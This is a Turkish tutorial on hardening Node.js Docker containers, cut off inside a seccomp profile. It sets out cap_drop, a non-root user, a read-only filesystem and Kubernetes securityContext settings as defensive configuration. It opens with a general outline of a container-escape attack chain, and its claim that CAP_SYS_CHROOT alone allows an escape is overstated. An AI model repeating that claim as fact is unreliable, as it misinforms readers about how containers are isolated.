&lt;p&gt;Docker'&amp;inodot;n konteynerleri tamamen izole etti&amp;gbreve;i d&amp;uuml;&amp;scedil;&amp;uuml;ncesi tehlikeli bir yan&amp;inodot;lg&amp;inodot;d&amp;inodot;r. Evet, varsay&amp;inodot;lan olarak baz&amp;inodot; Linux yetenekleri kapat&amp;inodot;l&amp;inodot;r ve temel bir seccomp filtresi uygulan&amp;inodot;r. Ancak Docker'&amp;inodot;n varsay&amp;inodot;lan olarak aktif b&amp;inodot;rakt&amp;inodot;&amp;gbreve;&amp;inodot; yetenekler listesi olduk&amp;ccedil;a c&amp;ouml;merttir:&lt;/p&gt;
&lt;p&gt;&lt;code&gt;CAP_CHOWN&lt;/code&gt;, &lt;code&gt;CAP_DAC_OVERRIDE&lt;/code&gt;, &lt;code&gt;CAP_FSETID&lt;/code&gt;, &lt;code&gt;CAP_FOWNER&lt;/code&gt;, &lt;code&gt;CAP_MKNOD&lt;/code&gt;, &lt;code&gt;CAP_NET_RAW&lt;/code&gt;, &lt;code&gt;CAP_SETGID&lt;/code&gt;, &lt;code&gt;CAP_SETUID&lt;/code&gt;, &lt;code&gt;CAP_SETFCAP&lt;/code&gt;, &lt;code&gt;CAP_SETPCAP&lt;/code&gt;, &lt;code&gt;CAP_NET_BIND_SERVICE&lt;/code&gt;, &lt;code&gt;CAP_SYS_CHROOT&lt;/code&gt;, &lt;code&gt;CAP_AUDIT_WRITE&lt;/code&gt;, &lt;code&gt;CAP_KILL&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Bu yetenekler aras&amp;inodot;nda dosya izinlerini tamamen yok sayan &lt;code&gt;CAP_DAC_OVERRIDE&lt;/code&gt;, a&amp;gbreve;da sahtecilik yap&amp;inodot;lmas&amp;inodot;na izin veren &lt;code&gt;CAP_NET_RAW&lt;/code&gt; ve konteyner d&amp;inodot;&amp;scedil;&amp;inodot;na ka&amp;ccedil;&amp;inodot;&amp;scedil; sa&amp;gbreve;layan &lt;code&gt;CAP_SYS_CHROOT&lt;/code&gt; gibi tehlikeli haklar yer al&amp;inodot;yor. Node.js s&amp;uuml;recini ele ge&amp;ccedil;iren bir sald&amp;inodot;rgan, bu yeteneklerin tamam&amp;inodot;na sahip olur.&lt;/p&gt;
&lt;p&gt;Sald&amp;inodot;r&amp;inodot; &amp;scedil;u &amp;scedil;ekilde ger&amp;ccedil;ekle&amp;scedil;ir:
1. Projedeki bir ba&amp;gbreve;&amp;inodot;ml&amp;inodot;l&amp;inodot;kta bulunan a&amp;ccedil;&amp;inodot;k sayesinde sald&amp;inodot;rgan diske dosya yazar.
2. Konteyner root olarak &amp;ccedil;al&amp;inodot;&amp;scedil;t&amp;inodot;&amp;gbreve;&amp;inodot; i&amp;ccedil;in bu dosya &lt;code&gt;uid 0&lt;/code&gt; yetkisiyle kaydedilir ve &lt;code&gt;/usr&lt;/code&gt; veya &lt;code&gt;/sbin&lt;/code&gt; alt&amp;inodot;ndaki sistem dosyalar&amp;inodot;n&amp;inodot;n &amp;uuml;zerine yaz&amp;inodot;labilir.
3. Sald&amp;inodot;rgan, &lt;code&gt;/proc&lt;/code&gt; dizinini ve &lt;code&gt;CAP_SYS_CHROOT&lt;/code&gt; yetene&amp;gbreve;ini kullanarak konteyner s&amp;inodot;n&amp;inodot;rlar&amp;inodot;ndan d&amp;inodot;&amp;scedil;ar&amp;inodot; ka&amp;ccedil;ar.
4. Art&amp;inodot;k ana sunucuda tam yetkili bir arka kap&amp;inodot; a&amp;ccedil;&amp;inodot;lm&amp;inodot;&amp;scedil;t&amp;inodot;r.&lt;/p&gt;
&lt;p&gt;A&amp;scedil;a&amp;gbreve;&amp;inodot;daki ad&amp;inodot;mlarla bu zincirin her halkas&amp;inodot;n&amp;inodot; tek tek k&amp;inodot;raca&amp;gbreve;&amp;inodot;z.&lt;/p&gt;
&lt;hr/&gt;
&lt;h2 id="adm-1-tum-linux-yeteneklerini-kapatn-sadece-gerekenleri-acn"&gt;🛠️ Ad&amp;inodot;m 1: T&amp;uuml;m Linux Yeteneklerini Kapat&amp;inodot;n, Sadece Gerekenleri A&amp;ccedil;&amp;inodot;n&lt;a class="headerlink" href="#adm-1-tum-linux-yeteneklerini-kapatn-sadece-gerekenleri-acn" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;&amp;Idot;lk g&amp;uuml;venlik &amp;ouml;nlemimiz, konteynere verilen t&amp;uuml;m Linux yeteneklerini&lt;sup id="fnref:1"&gt;&lt;a class="footnote-ref" href="#fn:1"&gt;1&lt;/a&gt;&lt;/sup&gt; s&amp;inodot;f&amp;inodot;rlay&amp;inodot;p sadece uygulaman&amp;inodot;n &amp;ccedil;al&amp;inodot;&amp;scedil;mas&amp;inodot; i&amp;ccedil;in zorunlu olanlar&amp;inodot; tan&amp;inodot;mlamakt&amp;inodot;r.&lt;/p&gt;
&lt;p&gt;Standart bir Node.js HTTP sunucusu i&amp;ccedil;in, e&amp;gbreve;er 1024'ten k&amp;uuml;&amp;ccedil;&amp;uuml;k ayr&amp;inodot;cal&amp;inodot;kl&amp;inodot; bir portu dinlemiyorsan&amp;inodot;z hi&amp;ccedil;bir Linux yetene&amp;gbreve;ine ihtiyac&amp;inodot;n&amp;inodot;z yoktur. Uygulaman&amp;inodot;z 3000 veya daha y&amp;uuml;ksek bir port &amp;uuml;zerinden aya&amp;gbreve;a kalk&amp;inodot;yorsa, t&amp;uuml;m yetenekleri kapatabilirsiniz.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Docker Compose Yap&amp;inodot;land&amp;inodot;rmas&amp;inodot;:&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="nt"&gt;services&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;app&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nt"&gt;build&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l l-Scalar l-Scalar-Plain"&gt;.&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nt"&gt;cap_drop&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="p p-Indicator"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l l-Scalar l-Scalar-Plain"&gt;ALL&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nt"&gt;cap_add&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p p-Indicator"&gt;[]&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nt"&gt;ports&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="p p-Indicator"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;"3000:3000"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;strong&gt;Docker CLI Komutu:&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$&lt;span class="w"&gt; &lt;/span&gt;docker&lt;span class="w"&gt; &lt;/span&gt;run&lt;span class="w"&gt; &lt;/span&gt;--cap-drop&lt;span class="o"&gt;=&lt;/span&gt;ALL&lt;span class="w"&gt; &lt;/span&gt;my-app
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;T&amp;uuml;m yetenekleri kapatt&amp;inodot;&amp;gbreve;&amp;inodot;n&amp;inodot;zda Node.js'in diske dosya yazarken veya okurken hata verdi&amp;gbreve;ini g&amp;ouml;r&amp;uuml;rseniz bu durum yeteneklerle ilgili de&amp;gbreve;il, dosya izinleriyle (POSIX permissions) ilgilidir. Onu da bir sonraki ad&amp;inodot;mda &amp;ccedil;&amp;ouml;zece&amp;gbreve;iz.&lt;/p&gt;
&lt;hr/&gt;
&lt;h2 id="adm-2-root-olmayan-non-root-kullancya-gecin"&gt;👤 Ad&amp;inodot;m 2: Root Olmayan (Non-Root) Kullan&amp;inodot;c&amp;inodot;ya Ge&amp;ccedil;in&lt;a class="headerlink" href="#adm-2-root-olmayan-non-root-kullancya-gecin" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Bu ad&amp;inodot;m, konteyner g&amp;uuml;venli&amp;gbreve;indeki en kritik ad&amp;inodot;md&amp;inodot;r. Konteyner i&amp;ccedil;inde &lt;code&gt;uid 1000&lt;/code&gt; (root olmayan bir kullan&amp;inodot;c&amp;inodot;) olarak &amp;ccedil;al&amp;inodot;&amp;scedil;an bir s&amp;uuml;re&amp;ccedil;, &lt;code&gt;/usr/bin&lt;/code&gt; alt&amp;inodot;na dosya yazamaz, &lt;code&gt;/etc/passwd&lt;/code&gt; dosyas&amp;inodot;n&amp;inodot; de&amp;gbreve;i&amp;scedil;tiremez ve yetkisiz sistem &amp;ccedil;a&amp;gbreve;r&amp;inodot;lar&amp;inodot; yapamaz.&lt;/p&gt;
&lt;p&gt;Dockerfile &amp;uuml;zerinde iki sat&amp;inodot;rl&amp;inodot;k bir de&amp;gbreve;i&amp;scedil;iklikle bunu sa&amp;gbreve;layabiliriz:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="k"&gt;FROM&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;node:20-slim&lt;/span&gt;

&lt;span class="c"&gt;# Root olmayan kullan&amp;inodot;c&amp;inodot; ve grubu olu&amp;scedil;turuyoruz&lt;/span&gt;
&lt;span class="k"&gt;RUN&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;groupadd&lt;span class="w"&gt; &lt;/span&gt;--system&lt;span class="w"&gt; &lt;/span&gt;--gid&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;1000&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;appuser&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;useradd&lt;span class="w"&gt; &lt;/span&gt;--system&lt;span class="w"&gt; &lt;/span&gt;--uid&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;1000&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;--gid&lt;span class="w"&gt; &lt;/span&gt;appuser&lt;span class="w"&gt; &lt;/span&gt;appuser

&lt;span class="k"&gt;WORKDIR&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;/app&lt;/span&gt;
&lt;span class="k"&gt;COPY&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;package*.json&lt;span class="w"&gt; &lt;/span&gt;./
&lt;span class="k"&gt;RUN&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;npm&lt;span class="w"&gt; &lt;/span&gt;ci&lt;span class="w"&gt; &lt;/span&gt;--only&lt;span class="o"&gt;=&lt;/span&gt;production&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;#&lt;span class="w"&gt; &lt;/span&gt;Dosya&lt;span class="w"&gt; &lt;/span&gt;sahipli&amp;gbreve;ini&lt;span class="w"&gt; &lt;/span&gt;yeni&lt;span class="w"&gt; &lt;/span&gt;kullan&amp;inodot;c&amp;inodot;ya&lt;span class="w"&gt; &lt;/span&gt;veriyoruz
&lt;span class="w"&gt;    &lt;/span&gt;chown&lt;span class="w"&gt; &lt;/span&gt;-R&lt;span class="w"&gt; &lt;/span&gt;appuser:appuser&lt;span class="w"&gt; &lt;/span&gt;/app
&lt;span class="k"&gt;COPY&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;--chown&lt;span class="o"&gt;=&lt;/span&gt;appuser:appuser&lt;span class="w"&gt; &lt;/span&gt;.&lt;span class="w"&gt; &lt;/span&gt;.

&lt;span class="k"&gt;USER&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;appuser&lt;/span&gt;
&lt;span class="k"&gt;EXPOSE&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;3000&lt;/span&gt;
&lt;span class="k"&gt;CMD&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;"node"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"server.js"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;E&amp;gbreve;er Alpine tabanl&amp;inodot; hafif imajlar (&lt;code&gt;node:20-alpine&lt;/code&gt;) kullan&amp;inodot;yorsan&amp;inodot;z, kullan&amp;inodot;c&amp;inodot; olu&amp;scedil;turma komutlar&amp;inodot; de&amp;gbreve;i&amp;scedil;iklik g&amp;ouml;sterir:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="k"&gt;FROM&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;node:20-alpine&lt;/span&gt;

&lt;span class="k"&gt;RUN&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;addgroup&lt;span class="w"&gt; &lt;/span&gt;-S&lt;span class="w"&gt; &lt;/span&gt;-g&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;1000&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;appuser&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;adduser&lt;span class="w"&gt; &lt;/span&gt;-S&lt;span class="w"&gt; &lt;/span&gt;-u&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;1000&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;-G&lt;span class="w"&gt; &lt;/span&gt;appuser&lt;span class="w"&gt; &lt;/span&gt;appuser

&lt;span class="k"&gt;WORKDIR&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;/app&lt;/span&gt;
&lt;span class="k"&gt;COPY&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;package*.json&lt;span class="w"&gt; &lt;/span&gt;./
&lt;span class="k"&gt;RUN&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;npm&lt;span class="w"&gt; &lt;/span&gt;ci&lt;span class="w"&gt; &lt;/span&gt;--only&lt;span class="o"&gt;=&lt;/span&gt;production&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;chown&lt;span class="w"&gt; &lt;/span&gt;-R&lt;span class="w"&gt; &lt;/span&gt;appuser:appuser&lt;span class="w"&gt; &lt;/span&gt;/app
&lt;span class="k"&gt;COPY&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;--chown&lt;span class="o"&gt;=&lt;/span&gt;appuser:appuser&lt;span class="w"&gt; &lt;/span&gt;.&lt;span class="w"&gt; &lt;/span&gt;.

&lt;span class="k"&gt;USER&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;appuser&lt;/span&gt;
&lt;span class="k"&gt;EXPOSE&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;3000&lt;/span&gt;
&lt;span class="k"&gt;CMD&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;"node"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"server.js"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;div class="admonition warning"&gt;
&lt;p class="admonition-title"&gt;Kritik Bilgi: Root Olmayan Kullan&amp;inodot;c&amp;inodot;ya Ge&amp;ccedil;ildi&amp;gbreve;inde K&amp;inodot;r&amp;inodot;labilecek Yap&amp;inodot;lar! ⚠️&lt;/p&gt;
&lt;p&gt;Root olmayan bir kullan&amp;inodot;c&amp;inodot;ya ge&amp;ccedil;ti&amp;gbreve;inizde &amp;scedil;u alanlarda yetki ve &amp;ccedil;al&amp;inodot;&amp;scedil;ma hatalar&amp;inodot; alabilirsiniz:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Log dosyalar&amp;inodot;:&lt;/strong&gt; Uygulaman&amp;inodot;z &lt;code&gt;/var/log&lt;/code&gt; gibi sistem dizinlerine yazmaya &amp;ccedil;al&amp;inodot;&amp;scedil;&amp;inodot;yorsa yetki hatas&amp;inodot; al&amp;inodot;rs&amp;inodot;n&amp;inodot;z. Loglar&amp;inodot; stdout/stderr ak&amp;inodot;&amp;scedil;lar&amp;inodot;na y&amp;ouml;nlendirin veya &lt;code&gt;/app&lt;/code&gt; i&amp;ccedil;inde izin verdi&amp;gbreve;iniz bir alt klas&amp;ouml;re yaz&amp;inodot;n.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Unix soket dosyalar&amp;inodot;:&lt;/strong&gt; E&amp;gbreve;er &lt;code&gt;/var/run&lt;/code&gt; alt&amp;inodot;nda soket dosyas&amp;inodot; olu&amp;scedil;turuyorsan&amp;inodot;z, sahipli&amp;gbreve;i &lt;code&gt;appuser&lt;/code&gt; olan bir dizin tercih edin.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Lifecycle scriptleri i&amp;ccedil;eren paketler:&lt;/strong&gt; Baz&amp;inodot; npm paketleri kurulum s&amp;inodot;ras&amp;inodot;nda root yetkisi gerektiren komutlar &amp;ccedil;al&amp;inodot;&amp;scedil;t&amp;inodot;rabilir. Bu y&amp;uuml;zden paket kurulumlar&amp;inodot;n&amp;inodot; (&lt;code&gt;npm ci&lt;/code&gt;) root kullan&amp;inodot;c&amp;inodot;s&amp;inodot; ile yap&amp;inodot;p, sonras&amp;inodot;nda dosyalar&amp;inodot; &lt;code&gt;chown&lt;/code&gt; ile ta&amp;scedil;&amp;inodot;yarak &amp;ccedil;al&amp;inodot;&amp;scedil;t&amp;inodot;rmak en temiz y&amp;ouml;ntemdir.&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;hr/&gt;
&lt;h2 id="adm-3-kok-dosya-sistemini-salt-okunur-read-only-yapn"&gt;💾 Ad&amp;inodot;m 3: K&amp;ouml;k Dosya Sistemini Salt Okunur (Read-Only) Yap&amp;inodot;n&lt;a class="headerlink" href="#adm-3-kok-dosya-sistemini-salt-okunur-read-only-yapn" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Konteynerin k&amp;ouml;k dosya sistemini salt okunur olarak ba&amp;gbreve;lad&amp;inodot;&amp;gbreve;&amp;inodot;m&amp;inodot;zda, sald&amp;inodot;rgan&amp;inodot;n kod enjekte etme veya sistem konfig&amp;uuml;rasyonlar&amp;inodot;n&amp;inodot; manip&amp;uuml;le etme &amp;scedil;ans&amp;inodot;n&amp;inodot; tamamen yok ederiz.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Docker CLI:&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$&lt;span class="w"&gt; &lt;/span&gt;docker&lt;span class="w"&gt; &lt;/span&gt;run&lt;span class="w"&gt; &lt;/span&gt;--read-only&lt;span class="w"&gt; &lt;/span&gt;--tmpfs&lt;span class="w"&gt; &lt;/span&gt;/tmp&lt;span class="w"&gt; &lt;/span&gt;--tmpfs&lt;span class="w"&gt; &lt;/span&gt;/app/data&lt;span class="w"&gt; &lt;/span&gt;my-app
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;strong&gt;Docker Compose:&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="nt"&gt;services&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;app&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nt"&gt;build&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l l-Scalar l-Scalar-Plain"&gt;.&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nt"&gt;read_only&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l l-Scalar l-Scalar-Plain"&gt;true&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nt"&gt;tmpfs&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="p p-Indicator"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l l-Scalar l-Scalar-Plain"&gt;/tmp&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="p p-Indicator"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l l-Scalar l-Scalar-Plain"&gt;/app/data&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nt"&gt;cap_drop&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="p p-Indicator"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l l-Scalar l-Scalar-Plain"&gt;ALL&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;strong&gt;Kubernetes Pod G&amp;uuml;venlik Ayar&amp;inodot;:&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="nt"&gt;spec&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;securityContext&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nt"&gt;runAsNonRoot&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l l-Scalar l-Scalar-Plain"&gt;true&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nt"&gt;runAsUser&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l l-Scalar l-Scalar-Plain"&gt;1000&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nt"&gt;runAsGroup&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l l-Scalar l-Scalar-Plain"&gt;1000&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nt"&gt;fsGroup&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l l-Scalar l-Scalar-Plain"&gt;1000&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nt"&gt;readOnlyRootFilesystem&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l l-Scalar l-Scalar-Plain"&gt;true&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;K&amp;ouml;k dizini salt okunur yapt&amp;inodot;&amp;gbreve;&amp;inodot;m&amp;inodot;zda, Node.js'in &amp;ccedil;al&amp;inodot;&amp;scedil;ma an&amp;inodot;nda yazmak zorunda oldu&amp;gbreve;u &lt;code&gt;/tmp&lt;/code&gt; gibi klas&amp;ouml;rleri bellek tabanl&amp;inodot; ge&amp;ccedil;ici dosya sistemi olan &lt;code&gt;tmpfs&lt;/code&gt; ile ba&amp;gbreve;lar&amp;inodot;z. B&amp;ouml;ylece konteyner kapand&amp;inodot;&amp;gbreve;&amp;inodot; anda t&amp;uuml;m ge&amp;ccedil;ici dosyalar silinir.&lt;/p&gt;
&lt;hr/&gt;
&lt;h2 id="adm-4-seccomp-profili-uygulayn"&gt;🔒 Ad&amp;inodot;m 4: Seccomp Profili Uygulay&amp;inodot;n&lt;a class="headerlink" href="#adm-4-seccomp-profili-uygulayn" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Seccomp (Secure Computing Mode)&lt;sup id="fnref:2"&gt;&lt;a class="footnote-ref" href="#fn:2"&gt;2&lt;/a&gt;&lt;/sup&gt;, bir s&amp;uuml;recin i&amp;scedil;letim sistemi &amp;ccedil;ekirde&amp;gbreve;ine yapabilece&amp;gbreve;i sistem &amp;ccedil;a&amp;gbreve;r&amp;inodot;lar&amp;inodot;n&amp;inodot; (syscall) filtrelemeye yarar. Docker varsay&amp;inodot;lan olarak tehlikeli olan yakla&amp;scedil;&amp;inodot;k 50 sistem &amp;ccedil;a&amp;gbreve;r&amp;inodot;s&amp;inodot;n&amp;inodot; engeller. Ancak biz bunu Node.js'in ihtiya&amp;ccedil;lar&amp;inodot;na g&amp;ouml;re daha da daraltabiliriz.&lt;/p&gt;
&lt;p&gt;A&amp;scedil;a&amp;gbreve;&amp;inodot;daki &lt;code&gt;node-seccomp.json&lt;/code&gt; profili, Node.js'in normal &amp;ccedil;al&amp;inodot;&amp;scedil;mas&amp;inodot;n&amp;inodot; engellemeden gereksiz t&amp;uuml;m &amp;ccedil;a&amp;gbreve;r&amp;inodot;lar&amp;inodot; (&amp;ouml;rne&amp;gbreve;in reboot, swapon vb.) bloke eder:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;"defaultAction"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"SCMP_ACT_ERRNO"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;"architectures"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;"SCMP_ARCH_X86_64"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"SCMP_ARCH_AARCH64"&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;"syscalls"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="nt"&gt;"names"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;
